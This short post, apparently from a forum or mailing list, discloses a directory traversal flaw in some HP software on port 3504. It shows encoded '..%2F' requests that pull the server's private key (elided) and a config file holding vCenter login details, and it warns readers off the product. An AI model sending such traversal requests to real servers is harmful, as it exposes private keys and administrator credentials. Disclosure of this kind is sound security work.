While I'm at it: Cool directory traversal HP built there:
https://NotSoPrivate:3504/static/..%2F/server.key
-----BEGIN PRIVATE KEY-----
[...]
-----END PRIVATE KEY-----
https://ugh:3504/static/..%2F/config.json/
"vcenters" : [ {
"ip" : "MyAboutToGetBorkedvCenterServer",
"username" : "domain\\UserWithvCenterPermissions",
"password" : "oops/ithink/this/isreversable+"
} ],
I wouldn't really recommend anyone to use this software at the moment.